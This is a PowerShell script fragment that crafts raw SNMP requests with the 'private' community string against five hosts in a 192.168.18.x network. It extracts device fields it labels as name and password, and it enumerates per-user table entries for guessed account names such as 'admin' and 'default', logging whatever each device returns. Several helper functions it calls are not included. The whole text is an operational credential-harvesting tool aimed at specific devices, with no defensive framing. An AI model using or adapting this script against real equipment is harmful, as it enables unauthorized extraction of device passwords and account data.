function ParseOneG([byte[]]$rx){ $seq=ReadTLV $rx 0; $i=$seq.s; $ver=ReadTLV $rx $i; $i=$ver.next; $cm=ReadTLV $rx $i; $i=$cm.next; $pdu=ReadTLV $rx $i if($pdu.tag -ne 0xA2){ return $null } $j=$pdu.s; $rq=ReadTLV $rx $j; $j=$rq.next; $es=ReadTLV $rx $j; $j=$es.next; $ei=ReadTLV $rx $j; $j=$ei.next $vbl=ReadTLV $rx $j; $k=$vbl.s; $vb=ReadTLV $rx $k; $l=$vb.s $ob=ReadTLV $rx $l; $l2=$ob.next; $vv=ReadTLV $rx $l2 $oidv=TLVBytes $rx $ob $parts=@([int]($oidv[0]/40), [int]($oidv[0]%40)); $v=0 for($m=1;$m -lt $oidv.Length;$m++){ $b=$oidv[$m]; $v=($v -shl 7) -bor ($b -band 0x7F); if(($b -band 0x80) -eq 0){ $parts+=$v; $v=0 } } return @{oid=($parts -join '.'); val=(FmtVal $rx $vv)} } function Walk([string]$h,[string]$c,[string]$oid,[int]$steps){ $u=$null; $lines=@(); $cur=$oid try{ $u=UdpSess $h for($i=0;$i -lt $steps;$i++){ $rx=SnmpReq $u (MkPkt $c $cur (Get-Random -Min 100 -Max 999) 0xA1 $null) if(-not $rx){ $lines += 'walk-norsp'; break } $rr=ParseOneG $rx if(-not $rr){ $lines += 'walk-parsefail'; break } if(-not $rr.oid.StartsWith('1.3.6.1.4.1.37950.1.1.5.10.12.19.2')){ break } $lines += ($rr.oid + ' = ' + $rr.val) $cur = $rr.oid } }catch{ $lines += ('walk-exc ' + $_.Exception.Message) } try{ $u.Close() }catch{} return $lines } $T1='1.3.6.1.4.1.37950.1.1.5.10.12.19.2.1.1' $T2='1.3.6.1.4.1.37950.1.1.5.10.12.19.2.1.2' $names=@( @{n='admin';a='97.100.109.105.110.2'}, @{n='cxtreme';a='99.120.116.114.101.109.101.2'}, @{n='BRAVO';a='66.82.65.86.79.2'}, @{n='itgurrus';a='105.116.103.117.114.114.117.115.2'}, @{n='Adnan';a='65.100.110.97.110.2'}, @{n='adnan';a='97.100.110.97.110.2'}, @{n='default';a='100.101.102.97.117.108.116.2'}, @{n='noman';a='110.111.109.97.110.2'} ) $hosts=@( @{h='192.168.18.17';c='private'}, @{h='192.168.18.68';c='private'}, @{h='192.168.18.69';c='private'}, @{h='192.168.18.108';c='private'}, @{h='192.168.18.234';c='private'} ) AO ('Y0 start ' + (Get-Date -Format 'HH:mm:ss') + ' targets=' + $hosts.Count) foreach($t in $hosts){ $h=$t.h; $c=$t.c AO ("== $h ==") $s1=GetP $h $c '1.3.6.1.4.1.37950.1.1.5.10.12.19.1.1.0' (Get-Random -Min 100 -Max 400) $s2=GetP $h $c '1.3.6.1.4.1.37950.1.1.5.10.12.19.1.2.0' (Get-Random -Min 400 -Max 700) $s3=GetP $h $c '1.3.6.1.4.1.37950.1.1.5.10.12.19.1.3.0' (Get-Random -Min 700 -Max 950) AO (" SC name=$s1 pw=$s2 cf=$s3") foreach($nm in $names){ $asc=$nm.a foreach($col in 1..12){ $v1=GetP $h $c "$T1.$col.$asc" (Get-Random -Min 100 -Max 999) if($v1 -ne 'noSuchInstance'){ if($v1 -ne 'noSuchObject'){ AO (" T1 $($nm.n) col$col = $v1") } } } foreach($col in 1..10){ $v2=GetP $h $c "$T2.$col.$asc" (Get-Random -Min 100 -Max 999) if($v2 -ne 'noSuchInstance'){ if($v2 -ne 'noSuchObject'){ AO (" T2 $($nm.n) col$col = $v2") } } } } Flush } AO ('Y1 done ' + (Get-Date -Format 'HH:mm:ss')) AO 'REALEND-D591' Flush